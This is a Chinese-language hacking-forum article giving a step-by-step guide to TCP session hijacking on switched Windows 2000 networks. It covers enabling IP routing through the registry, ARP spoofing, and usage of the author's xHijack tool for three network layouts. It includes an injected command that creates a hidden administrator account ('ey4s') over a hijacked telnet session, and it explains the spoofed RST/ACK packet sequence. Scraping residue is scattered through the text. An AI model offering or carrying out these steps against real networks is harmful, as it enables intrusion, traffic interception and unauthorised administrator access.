再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
) B1 b" L. V. l$ I# \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能，使用如下:

Usage: xHijack ServerSide ClientSide
# V# ~) C4 q& U% X% L
下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
  w/ {" H+ Q4 L劫持前数据流程：server <--> client
) j3 A' d/ G, H( s$ g4 y) w0 x劫持后数据流程：server <--> hijacker <--> client
6 k% H2 @' _, Q" g4 T- d6 V
) `2 E8 x% C. P. Y% K0 Y8 J<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
8 ?  V+ |6 l( u假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
xHijack 202.202.202.2 202.202.202.1
! }7 c' Y% x7 h劫持前数据流程：server <--> gw <--> routes <--> client
劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client
, [. x2 R! H7 C
<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
2 _2 d) X' Z- F假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程：client <--> gw <--> routes <--> server
6 y6 T, I% B. `, [; [劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server
; [/ L: P! z/ b  z6 o
输入两个参数后，会提示你选择网卡，然后会提示
6 A* Y' E0 q+ J3 D# o$ kl        <-- List all connections
r x       <-- Reset the number x connection
1 a; |/ p( K: R7 `2 `w x       <-- Watch the number x connection
h x command   <-- Hijack the number x connection to execute command

! t1 U0 d' C$ e1 z  Glist、reset、watch命令我就不解释了。
假如现在有如下连接
2 }8 a$ J# I& z- l; |9 {; t(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令，输入
7 N/ ~7 n5 U3 M8 y/ a4 vxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
% [9 T3 t- ]3 G5 r" Q, o" ?, K为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
9 R$ l% p5 x3 B' u' Q3 c9 R  f3 }pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
1 R$ W" D6 @5 ^6 N! r: V9 H都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。
$ U3 P( K! t5 K2 i! h& t- K; R
劫持的流程如下：
<1>伪装成Server给Client发一个rst包
0 i6 T" Q8 u- y) E1 v<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server
) X4 b  I/ v9 o/ |; @% j6 {; U, }
这样的话，我们只能发一个伪造的包，但我想已经足够了。
想要一直劫持那个连接也可以，如下
<1>伪装成Server给Client发一个rst包
3 I# r+ \: O' W( {$ }1 A<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
* j. i8 i- s$ D0 C. K  T$ C<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。

刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
还请各位多多指点。
